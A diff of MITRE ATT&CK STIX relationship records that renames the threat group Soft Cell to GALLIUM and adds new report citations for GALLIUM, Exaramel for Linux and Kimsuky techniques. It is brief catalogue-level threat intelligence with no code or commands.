"relationship--aa64ee12-ae96-40fe-ba37-a8893cd321ec", "type": "relationship", @@ -154740,16 +156140,21 @@ "target_ref": "malware--b42378e0-f147-496f-992a-26a49705395b", "external_references": [ { - "source_name": "Cybereason Soft Cell June 2019", + "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.", "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers", - "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019." + "source_name": "Cybereason Soft Cell June 2019" + }, + { + "source_name": "Microsoft GALLIUM December 2019", + "url": "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/", + "description": "MSTIC. (2019, December 12). GALLIUM: Targeting global telecom. Retrieved January 13, 2021." } ], - "description": "(Citation: Cybereason Soft Cell June 2019)", + "description": "(Citation: Cybereason Soft Cell June 2019)(Citation: Microsoft GALLIUM December 2019)", "relationship_type": "uses", "id": "relationship--3b86d8fe-5677-4516-bf77-898e4da6171f", "type": "relationship", - "modified": "2019-07-22T15:49:29.131Z", + "modified": "2021-01-13T21:20:49.108Z", "created": "2019-07-19T16:38:05.420Z" }, { @@ -154782,16 +156187,21 @@ "target_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db", "external_references": [ { - "source_name": "Cybereason Soft Cell June 2019", + "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.", "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers", - "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019." + "source_name": "Cybereason Soft Cell June 2019" + }, + { + "source_name": "Microsoft GALLIUM December 2019", + "url": "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/", + "description": "MSTIC. (2019, December 12). GALLIUM: Targeting global telecom. Retrieved January 13, 2021." } ], - "description": "(Citation: Cybereason Soft Cell June 2019)", + "description": "(Citation: Cybereason Soft Cell June 2019)(Citation: Microsoft GALLIUM December 2019)", "relationship_type": "uses", "id": "relationship--b3295bb6-356b-4f8e-b921-ec96d249c66b", "type": "relationship", - "modified": "2019-07-22T15:49:29.318Z", + "modified": "2021-01-13T21:20:49.189Z", "created": "2019-07-19T16:38:05.448Z" }, { @@ -154803,16 +156213,21 @@ "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", "external_references": [ { - "source_name": "Cybereason Soft Cell June 2019", + "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.", "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers", - "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019." + "source_name": "Cybereason Soft Cell June 2019" + }, + { + "source_name": "Microsoft GALLIUM December 2019", + "url": "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/", + "description": "MSTIC. (2019, December 12). GALLIUM: Targeting global telecom. Retrieved January 13, 2021." } ], - "description": "(Citation: Cybereason Soft Cell June 2019)", + "description": "(Citation: Cybereason Soft Cell June 2019)(Citation: Microsoft GALLIUM December 2019)", "relationship_type": "uses", "id": "relationship--8f66e226-ecc4-408d-becb-4e9ad9c66b57", "type": "relationship", - "modified": "2019-07-22T15:49:29.329Z", + "modified": "2021-01-13T21:20:49.182Z", "created": "2019-07-19T16:38:05.452Z" }, { @@ -154824,16 +156239,21 @@ "target_ref": "malware--5a3a31fe-5a8f-48e1-bff0-a753e5b1be70", "external_references": [ { - "source_name": "Cybereason Soft Cell June 2019", + "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.", "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers", - "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019." + "source_name": "Cybereason Soft Cell June 2019" + }, + { + "source_name": "Microsoft GALLIUM December 2019", + "url": "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/", + "description": "MSTIC. (2019, December 12). GALLIUM: Targeting global telecom. Retrieved January 13, 2021." } ], - "description": "(Citation: Cybereason Soft Cell June 2019)", + "description": "(Citation: Cybereason Soft Cell June 2019)(Citation: Microsoft GALLIUM December 2019)", "relationship_type": "uses", "id": "relationship--109c7cc7-fec6-4d86-ae27-087cddb2670c", "type": "relationship", - "modified": "2019-07-22T15:49:29.325Z", + "modified": "2021-01-14T19:50:15.459Z", "created": "2019-07-19T16:38:05.473Z" }, { @@ -154845,16 +156265,21 @@ "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "external_references": [ { - "source_name": "Cybereason Soft Cell June 2019", + "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.", "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers", - "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019." + "source_name": "Cybereason Soft Cell June 2019" + }, + { + "source_name": "Microsoft GALLIUM December 2019", + "url": "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/", + "description": "MSTIC. (2019, December 12). GALLIUM: Targeting global telecom. Retrieved January 13, 2021." } ], - "description": "[Soft Cell](https://attack.mitre.org/groups/G0093) dropped additional tools to victims during their operation, including portqry.exe, a renamed cmd.exe file, winrar, and [HTRAN](https://attack.mitre.org/software/S0040).(Citation: Cybereason Soft Cell June 2019)", + "description": "[GALLIUM](https://attack.mitre.org/groups/G0093) dropped additional tools to victims during their operation, including portqry.exe, a renamed cmd.exe file, winrar, and [HTRAN](https://attack.mitre.org/software/S0040).(Citation: Cybereason Soft Cell June 2019)(Citation: Microsoft GALLIUM December 2019)", "relationship_type": "uses", "id": "relationship--e1268feb-9326-40e1-b05b-fd8e0068488a", "type": "relationship", - "modified": "2019-07-22T15:49:28.940Z", + "modified": "2021-01-13T21:20:48.844Z", "created": "2019-07-19T16:49:44.657Z" }, { @@ -154871,7 +156296,7 @@ "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019." } ], - "description": "[Soft Cell](https://attack.mitre.org/groups/G0093) used a renamed cmd.exe file to evade detection.(Citation: Cybereason Soft Cell June 2019)", + "description": "[GALLIUM](https://attack.mitre.org/groups/G0093) used a renamed cmd.exe file to evade detection.(Citation: Cybereason Soft Cell June 2019)", "relationship_type": "uses", "id": "relationship--f8517b42-4d52-417a-a5dc-cbfb2a31930b", "type": "relationship", @@ -154892,7 +156317,7 @@ "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019." } ], - "description": "[Soft Cell](https://attack.mitre.org/groups/G0093) established persistence for [PoisonIvy](https://attack.mitre.org/software/S0012) by created a scheduled task.(Citation: Cybereason Soft Cell June 2019)", + "description": "[GALLIUM](https://attack.mitre.org/groups/G0093) established persistence for [PoisonIvy](https://attack.mitre.org/software/S0012) by created a scheduled task.(Citation: Cybereason Soft Cell June 2019)", "relationship_type": "uses", "id": "relationship--272c29eb-9f83-4a90-a9b2-e823182204a7", "type": "relationship", @@ -154929,16 +156354,21 @@ "target_ref": "tool--d5e96a35-7b0b-4c6a-9533-d63ecbda563e", "external_references": [ { - "source_name": "Cybereason Soft Cell June 2019", + "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.", "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers", - "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019." + "source_name": "Cybereason Soft Cell June 2019" + }, + { + "source_name": "Microsoft GALLIUM December 2019", + "url": "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/", + "description": "MSTIC. (2019, December 12). GALLIUM: Targeting global telecom. Retrieved January 13, 2021." } ], - "description": "(Citation: Cybereason Soft Cell June 2019)", + "description": "(Citation: Cybereason Soft Cell June 2019)(Citation: Microsoft GALLIUM December 2019)", "relationship_type": "uses", "id": "relationship--b68c8dc2-e3da-4ce8-aef3-456b160e7fb5", "type": "relationship", - "modified": "2019-07-22T15:49:29.330Z", + "modified": "2021-01-13T21:20:49.173Z", "created": "2019-07-19T16:49:44.835Z" }, { @@ -154976,7 +156406,7 @@ "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019." } ], - "description": "[Soft Cell](https://attack.mitre.org/groups/G0093) packed some payloads using different types of packers, both known and custom.(Citation: Cybereason Soft Cell June 2019)", + "description": "[GALLIUM](https://attack.mitre.org/groups/G0093) packed some payloads using different types of packers, both known and custom.(Citation: Cybereason Soft Cell June 2019)", "relationship_type": "uses", "id": "relationship--5d8315ce-3c76-4b78-8d6a-f0b7b101bcc0", "type": "relationship", @@ -154997,7 +156427,7 @@ "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019." } ], - "description": "[Soft Cell](https://attack.mitre.org/groups/G0093) used a modified version of [HTRAN](https://attack.mitre.org/software/S0040) to redirect connections between networks.(Citation: Cybereason Soft Cell June 2019)", + "description": "[GALLIUM](https://attack.mitre.org/groups/G0093) used a modified version of [HTRAN](https://attack.mitre.org/software/S0040) to redirect connections between networks.(Citation: Cybereason Soft Cell June 2019)", "relationship_type": "uses", "id": "relationship--a084527d-2858-4037-bc48-68c1eac85acb", "type": "relationship", @@ -155018,7 +156448,7 @@ "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019." } ], - "description": "[Soft Cell](https://attack.mitre.org/groups/G0093) used a modified version of [HTRAN](https://attack.mitre.org/software/S0040) in which they obfuscated strings such as debug messages in an apparent attempt to evade detection.(Citation: Cybereason Soft Cell June 2019)", + "description": "[GALLIUM](https://attack.mitre.org/groups/G0093) used a modified version of [HTRAN](https://attack.mitre.org/software/S0040) in which they obfuscated strings such as debug messages in an apparent attempt to evade detection.(Citation: Cybereason Soft Cell June 2019)", "relationship_type": "uses", "id": "relationship--2bff8dad-2ef1-485c-8c0b-62a5ba4c384b", "type": "relationship", @@ -155039,7 +156469,7 @@ "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019." } ], - "description": "[Soft Cell](https://attack.mitre.org/groups/G0093) compressed and staged files in multi-part archives in the Recycle Bin prior to exfiltration.(Citation: Cybereason Soft Cell June 2019)", + "description": "[GALLIUM](https://attack.mitre.org/groups/G0093) compressed and staged files in multi-part archives in the Recycle Bin prior to exfiltration.(Citation: Cybereason Soft Cell June 2019)", "relationship_type": "uses", "id": "relationship--a68d8191-b374-4741-a249-1db3515d581b", "type": "relationship", @@ -155055,16 +156485,21 @@ "target_ref": "attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662", "external_references": [ { - "source_name": "Cybereason Soft Cell June 2019", + "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.", "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers", - "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019." + "source_name": "Cybereason Soft Cell June 2019" + }, + { + "source_name": "Microsoft GALLIUM December 2019", + "url": "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/", + "description": "MSTIC. (2019, December 12). GALLIUM: Targeting global telecom. Retrieved January 13, 2021." } ], - "description": "[Soft Cell](https://attack.mitre.org/groups/G0093) used WinRAR to compress and encrypt stolen data prior to exfiltration.(Citation: Cybereason Soft Cell June 2019)", + "description": "[GALLIUM](https://attack.mitre.org/groups/G0093) used WinRAR to compress and encrypt stolen data prior to exfiltration.(Citation: Cybereason Soft Cell June 2019)(Citation: Microsoft GALLIUM December 2019)", "relationship_type": "uses", "id": "relationship--86246bef-ad4c-4c30-805a-d6f1928a7c20", "type": "relationship", - "modified": "2020-03-30T02:45:29.391Z", + "modified": "2021-01-14T19:50:15.363Z", "created": "2019-07-19T17:14:24.040Z" }, { @@ -155139,16 +156574,21 @@ "target_ref": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d", "external_references": [ { - "source_name": "Cybereason Soft Cell June 2019", + "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.", "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers", - "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019." + "source_name": "Cybereason Soft Cell June 2019" + }, + { + "source_name": "Microsoft GALLIUM December 2019", + "url": "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/", + "description": "MSTIC. (2019, December 12). GALLIUM: Targeting global telecom. Retrieved January 13, 2021." } ], - "description": "[Soft Cell](https://attack.mitre.org/groups/G0093) established VPN access into victim environments.(Citation: Cybereason Soft Cell June 2019)", + "description": "[GALLIUM](https://attack.mitre.org/groups/G0093) has used VPN services, including SoftEther VPN, to access and maintain persistence in victim environments.(Citation: Cybereason Soft Cell June 2019)(Citation: Microsoft GALLIUM December 2019)", "relationship_type": "uses", "id": "relationship--57b4f42b-02e2-4cee-98f0-d6935c1e2c7b", "type": "relationship", - "modified": "2019-07-22T15:49:29.085Z", + "modified": "2021-03-23T22:13:35.096Z", "created": "2019-07-19T17:27:02.518Z" }, { @@ -155165,11 +156605,11 @@ "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019." } ], - "description": "[Soft Cell](https://attack.mitre.org/groups/G0093) used a modified version of nbtscan to identify available NetBIOS name servers over the network as well as ping to identify remote systems.(Citation: Cybereason Soft Cell June 2019)", + "description": "[GALLIUM](https://attack.mitre.org/groups/G0093) used a modified version of [NBTscan](https://attack.mitre.org/software/S0590) to identify available NetBIOS name servers over the network as well as ping to identify remote systems.(Citation: Cybereason Soft Cell June 2019)", "relationship_type": "uses", "id": "relationship--ea71022e-7f2a-4065-9cb1-304f85dbaf6d", "type": "relationship", - "modified": "2019-07-22T15:49:29.087Z", + "modified": "2021-03-17T16:14:44.277Z", "created": "2019-07-19T17:27:02.530Z" }, { @@ -155181,16 +156621,21 @@ "target_ref": "tool--bba595da-b73a-4354-aa6c-224d4de7cb4e", "external_references": [ { - "source_name": "Cybereason Soft Cell June 2019", + "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.", "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers", - "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019." + "source_name": "Cybereason Soft Cell June 2019" + }, + { + "source_name": "Microsoft GALLIUM December 2019", + "url": "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/", + "description": "MSTIC. (2019, December 12). GALLIUM: Targeting global telecom. Retrieved January 13, 2021." } ], - "description": "(Citation: Cybereason Soft Cell June 2019)", + "description": "(Citation: Cybereason Soft Cell June 2019)(Citation: Microsoft GALLIUM December 2019)", "relationship_type": "uses", "id": "relationship--0a20969e-c201-47cd-ac08-8e1a9c764512", "type": "relationship", - "modified": "2019-07-22T15:49:29.376Z", + "modified": "2021-01-13T21:20:49.280Z", "created": "2019-07-19T17:27:02.775Z" }, { @@ -155221,7 +156666,7 @@ "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019." } ], - "description": "[Soft Cell](https://attack.mitre.org/groups/G0093) collected data from the victim's local system, including password hashes from the SAM hive in the Registry.(Citation: Cybereason Soft Cell June 2019)", + "description": "[GALLIUM](https://attack.mitre.org/groups/G0093) collected data from the victim's local system, including password hashes from the SAM hive in the Registry.(Citation: Cybereason Soft Cell June 2019)", "relationship_type": "uses", "id": "relationship--38be247c-74b0-42f3-964e-5f23ef42a353", "type": "relationship", @@ -155242,7 +156687,7 @@ "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019." } ], - "description": "[Soft Cell](https://attack.mitre.org/groups/G0093) used dumped hashes to authenticate to other machines via pass the hash.(Citation: Cybereason Soft Cell June 2019)", + "description": "[GALLIUM](https://attack.mitre.org/groups/G0093) used dumped hashes to authenticate to other machines via pass the hash.(Citation: Cybereason Soft Cell June 2019)", "relationship_type": "uses", "id": "relationship--ee4d1b24-603f-40df-8f21-3c053fba275f", "type": "relationship", @@ -155263,7 +156708,7 @@ "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019." } ], - "description": "[Soft Cell](https://attack.mitre.org/groups/G0093) ensured each payload had a unique hash, including by using different types of packers.(Citation: Cybereason Soft Cell June 2019)", + "description": "[GALLIUM](https://attack.mitre.org/groups/G0093) ensured each payload had a unique hash, including by using different types of packers.(Citation: Cybereason Soft Cell June 2019)", "relationship_type": "uses", "id": "relationship--919f6143-eb8c-48cd-8741-118040c372ab", "type": "relationship", @@ -155284,11 +156729,11 @@ "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019." } ], - "description": "[Soft Cell](https://attack.mitre.org/groups/G0093) used Web shells and [HTRAN](https://attack.mitre.org/software/S0040) for C2 as well as to exfiltrate data.(Citation: Cybereason Soft Cell June 2019)", + "description": "[GALLIUM](https://attack.mitre.org/groups/G0093) used Web shells and [HTRAN](https://attack.mitre.org/software/S0040) for C2 and to exfiltrate data.(Citation: Cybereason Soft Cell June 2019)", "relationship_type": "uses", "id": "relationship--380743e5-616c-4524-96e6-d545e5b653ea", "type": "relationship", - "modified": "2019-07-22T15:49:28.744Z", + "modified": "2021-03-23T22:13:35.084Z", "created": "2019-07-22T15:49:28.744Z" }, { @@ -155518,13 +156963,18 @@ "source_name": "ESET TeleBots Oct 2018", "url": "https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/", "description": "Cherepanov, A., Lipovsky, R. (2018, October 11). New TeleBots backdoor: First evidence linking Industroyer to NotPetya. Retrieved November 27, 2018." + }, + { + "source_name": "ANSSI Sandworm January 2021", + "url": "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf", + "description": "ANSSI. (2021, January 27). SANDWORM INTRUSION SET CAMPAIGN TARGETING CENTREON SYSTEMS. Retrieved March 30, 2021." } ], - "description": "[Exaramel for Linux](https://attack.mitre.org/software/S0401) has a command to execute a shell command on the system.(Citation: ESET TeleBots Oct 2018)", + "description": "[Exaramel for Linux](https://attack.mitre.org/software/S0401) has a command to execute a shell command on the system.(Citation: ESET TeleBots Oct 2018)(Citation: ANSSI Sandworm January 2021)", "relationship_type": "uses", "id": "relationship--db451851-13b7-4aec-9146-2a770115140a", "type": "relationship", - "modified": "2020-03-20T17:08:21.840Z", + "modified": "2021-03-31T15:35:34.217Z", "created": "2019-08-26T13:02:46.897Z" }, { @@ -155539,13 +156989,18 @@ "source_name": "ESET TeleBots Oct 2018", "url": "https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/", "description": "Cherepanov, A., Lipovsky, R. (2018, October 11). New TeleBots backdoor: First evidence linking Industroyer to NotPetya. Retrieved November 27, 2018." + }, + { + "source_name": "ANSSI Sandworm January 2021", + "url": "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf", + "description": "ANSSI. (2021, January 27). SANDWORM INTRUSION SET CAMPAIGN TARGETING CENTREON SYSTEMS. Retrieved March 30, 2021." } ], - "description": "[Exaramel for Linux](https://attack.mitre.org/software/S0401) uses RC4 for encrypting the configuration.(Citation: ESET TeleBots Oct 2018)", + "description": "[Exaramel for Linux](https://attack.mitre.org/software/S0401) uses RC4 for encrypting the configuration.(Citation: ESET TeleBots Oct 2018)(Citation: ANSSI Sandworm January 2021)", "relationship_type": "uses", "id": "relationship--db1b7307-a473-40eb-be9c-25d95c0e2054", "type": "relationship", - "modified": "2019-09-04T23:07:06.689Z", + "modified": "2021-03-31T15:29:49.385Z", "created": "2019-08-26T13:02:46.924Z" }, { @@ -155560,13 +157015,18 @@ "source_name": "ESET TeleBots Oct 2018", "url": "https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/", "description": "Cherepanov, A., Lipovsky, R. (2018, October 11). New TeleBots backdoor: First evidence linking Industroyer to NotPetya. Retrieved November 27, 2018." + }, + { + "source_name": "ANSSI Sandworm January 2021", + "url": "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf", + "description": "ANSSI. (2021, January 27). SANDWORM INTRUSION SET CAMPAIGN TARGETING CENTREON SYSTEMS. Retrieved March 30, 2021." } ], - "description": "[Exaramel for Linux](https://attack.mitre.org/software/S0401) uses HTTPS for C2 communications.(Citation: ESET TeleBots Oct 2018)", + "description": "[Exaramel for Linux](https://attack.mitre.org/software/S0401) uses HTTPS for C2 communications.(Citation: ESET TeleBots Oct 2018)(Citation: ANSSI Sandworm January 2021)", "relationship_type": "uses", "id": "relationship--4528e56e-6c64-4eef-853d-d4011a9ea7ef", "type": "relationship", - "modified": "2020-03-17T01:07:45.819Z", + "modified": "2021-03-31T15:35:34.215Z", "created": "2019-08-26T13:02:46.930Z" }, { @@ -155581,13 +157041,18 @@ "source_name": "ESET TeleBots Oct 2018", "url": "https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/", "description": "Cherepanov, A., Lipovsky, R. (2018, October 11). New TeleBots backdoor: First evidence linking Industroyer to NotPetya. Retrieved November 27, 2018." + }, + { + "source_name": "ANSSI Sandworm January 2021", + "url": "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf", + "description": "ANSSI. (2021, January 27). SANDWORM INTRUSION SET CAMPAIGN TARGETING CENTREON SYSTEMS. Retrieved March 30, 2021." } ], - "description": "[Exaramel for Linux](https://attack.mitre.org/software/S0401) has a command to download a file from a remote server.(Citation: ESET TeleBots Oct 2018)", + "description": "[Exaramel for Linux](https://attack.mitre.org/software/S0401) has a command to download a file from and to a remote C2 server.(Citation: ESET TeleBots Oct 2018)(Citation: ANSSI Sandworm January 2021)", "relationship_type": "uses", "id": "relationship--15bb2796-7c6d-4d03-8d86-8d83254bcf0b", "type": "relationship", - "modified": "2019-09-04T23:07:06.726Z", + "modified": "2021-03-31T15:29:49.400Z", "created": "2019-08-26T13:02:46.949Z" }, { @@ -155602,13 +157067,18 @@ "source_name": "ESET TeleBots Oct 2018", "url": "https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/", "description": "Cherepanov, A., Lipovsky, R. (2018, October 11). New TeleBots backdoor: First evidence linking Industroyer to NotPetya. Retrieved November 27, 2018." + }, + { + "source_name": "ANSSI Sandworm January 2021", + "url": "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf", + "description": "ANSSI. (2021, January 27). SANDWORM INTRUSION SET CAMPAIGN TARGETING CENTREON SYSTEMS. Retrieved March 30, 2021." } ], - "description": "[Exaramel for Linux](https://attack.mitre.org/software/S0401) uses crontab for persistence if it does not have root privileges.(Citation: ESET TeleBots Oct 2018)", + "description": "[Exaramel for Linux](https://attack.mitre.org/software/S0401) uses crontab for persistence if it does not have root privileges.(Citation: ESET TeleBots Oct 2018)(Citation: ANSSI Sandworm January 2021)", "relationship_type": "uses", "id": "relationship--e28ddc1d-83a4-4382-a4dc-e55a60aa399d", "type": "relationship", - "modified": "2020-03-19T17:56:35.003Z", + "modified": "2021-03-31T15:43:38.134Z", "created": "2019-08-26T13:02:46.951Z" }, { @@ -155670,13 +157140,28 @@ "source_name": "Securelist Kimsuky Sept 2013", "url": "https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/", "description": "Tarakanov , D.. (2013, September 11). The \u201cKimsuky\u201d Operation: A North Korean APT?. Retrieved August 13, 2019." + }, + { + "source_name": "ThreatConnect Kimsuky September 2020", + "url": "https://threatconnect.com/blog/kimsuky-phishing-operations-putting-in-work/", + "description": "ThreatConnect. (2020, September 28). Kimsuky Phishing Operations Putting In Work. Retrieved October 30, 2020." + }, + { + "source_name": "VirusBulletin Kimsuky October 2019", + "url": "https://www.virusbulletin.com/virusbulletin/2020/03/vb2019-paper-kimsuky-group-tracking-king-spearphishing/", + "description": "Kim, J. et al. (2019, October). KIMSUKY GROUP: TRACKING THE KING OF THE SPEAR PHISHING. Retrieved November 2, 2020." + }, + { + "source_name": "Cybereason Kimsuky November 2020", + "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite", + "description": "Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020." } ], - "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has used emails containing Word, Excel and/or HWP (Hangul Word Processor) documents in their spearphishing campaigns.(Citation: Zdnet Kimsuky Dec 2018)(Citation: Securelist Kimsuky Sept 2013)", + "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has used emails containing Word, Excel and/or HWP (Hangul Word Processor) documents in their spearphishing campaigns.(Citation: Zdnet Kimsuky Dec 2018)(Citation: Securelist Kimsuky Sept 2013)(Citation: ThreatConnect Kimsuky September 2020)(Citation: VirusBulletin Kimsuky October 2019)(Citation: Cybereason Kimsuky November 2020)", "relationship_type": "uses", "id": "relationship--b9f1dec0-f9b8-4cc3-a26c-5fc819f603a0", "type": "relationship", - "modified": "2019-10-07T17:53:44.391Z", + "modified": "2020-11-06T18:52:33.231Z", "created": "2019-08-26T15:27:12.951Z" }, { @@ -155697,7 +157182,7 @@ "relationship_type": "uses", "id": "relationship--b967963e-5dd4-42a3-a94e-8b3d17250aec", "type": "relationship", - "modified": "2019-08-27T15:32:50.318Z", + "modified": "2020-11-05T15:54:26.161Z", "created": "2019-08-26T15:27:12.971Z" }, { @@ -155709,16 +157194,26 @@ "target_ref": "attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade", "external_references": [ { - "description": "Alyac. (2019, April 3). Kimsuky Organization Steals Operation Stealth Power. Retrieved August 13, 2019.", + "source_name": "EST Kimsuky April 2019", "url": "https://blog.alyac.co.kr/2234", - "source_name": "EST Kimsuky April 2019" + "description": "Alyac. (2019, April 3). Kimsuky Organization Steals Operation Stealth Power. Retrieved August 13, 2019." + }, + { + "source_name": "CISA AA20-301A Kimsuky", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-301a", + "description": "CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020." + }, + { + "source_name": "Crowdstrike GTR2020 Mar 2020", + "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "description": "Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020." } ], - "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has used mshta to run malicious scripts on the system.(Citation: EST Kimsuky April 2019)", + "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has used mshta.exe to run malicious scripts on the system.(Citation: EST Kimsuky April 2019)(Citation: CISA AA20-301A Kimsuky)(Citation: Crowdstrike GTR2020 Mar 2020)", "relationship_type": "uses", "id": "relationship--90f03f42-a2f1-4fab-8a10-ebbbbc4fba19", "type": "relationship", - "modified": "2019-08-27T15:32:50.300Z", + "modified": "2021-03-11T22:01:53.978Z", "created": "2019-08-26T15:27:12.985Z" }, { @@ -155730,21 +157225,26 @@ "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4", "external_references": [ { - "description": "Alyac. (2019, April 3). Kimsuky Organization Steals Operation Stealth Power. Retrieved August 13, 2019.", + "source_name": "EST Kimsuky April 2019", "url": "https://blog.alyac.co.kr/2234", - "source_name": "EST Kimsuky April 2019" + "description": "Alyac. (2019, April 3). Kimsuky Organization Steals Operation Stealth Power. Retrieved August 13, 2019." }, { "source_name": "Securelist Kimsuky Sept 2013", "url": "https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/", "description": "Tarakanov , D.. (2013, September 11). The \u201cKimsuky\u201d Operation: A North Korean APT?. Retrieved August 13, 2019." + }, + { + "source_name": "CISA AA20-301A Kimsuky", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-301a", + 